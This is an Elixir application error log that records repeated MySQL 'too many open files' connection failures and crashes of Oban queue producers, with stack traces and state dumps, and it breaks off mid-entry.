State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:02:02.259881Z], limit: 10, uuid: "1d546c20-db73-4f37-a5ec-97b245f53969", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:02.259889Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.18230>, refresh_timer: #Reference<0.2525715032.1077673987.18222>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:17.032000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:18.172000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:21.167000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:21.202000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:24.508000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:24.843000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:25.588000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:02:14.240310Z], limit: 5, uuid: "c18fd85d-4dc4-4d32-bf7e-3287f203efb1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:14.240316Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44167>, refresh_timer: #Reference<0.2525715032.1068498948.44156>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:02:14.239675Z], limit: 5, uuid: "6ba4d8b7-25e1-4e43-8bf7-7d9b8da45658", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:14.239684Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44169>, refresh_timer: #Reference<0.2525715032.1077673987.18548>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:02:14.239863Z], limit: 20, uuid: "62408998-3f88-44bb-bc91-35e43554465b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:14.239868Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44166>, refresh_timer: #Reference<0.2525715032.1068498948.44149>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:02:14.240364Z], limit: 10, uuid: "edf03b50-efa9-4a51-9cec-96c2e3e224e5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:14.240370Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.18587>, refresh_timer: #Reference<0.2525715032.1077673987.18564>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:02:14.240577Z], limit: 50, uuid: "ad423a07-bb68-41a3-a282-addcf774838c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:14.240582Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44170>, refresh_timer: #Reference<0.2525715032.1077673987.18569>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:02:14.240484Z], limit: 3, uuid: "d7075e1f-2a75-4c66-bb3d-abf7b9f65bec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:14.240489Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44168>, refresh_timer: #Reference<0.2525715032.1068498948.44162>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:26.252000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:27.203000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:28.619000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:29.763000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:34.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:02:26.240953Z], limit: 5, uuid: "cc2d9191-1878-402c-8b4f-3808c0c339eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:26.240958Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44339>, refresh_timer: #Reference<0.2525715032.1121189889.153467>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:02:26.239443Z], limit: 3, uuid: "ff4986b2-cae1-4fe3-9570-62548ba7aec8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:26.239447Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44338>, refresh_timer: #Reference<0.2525715032.1068498948.44319>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

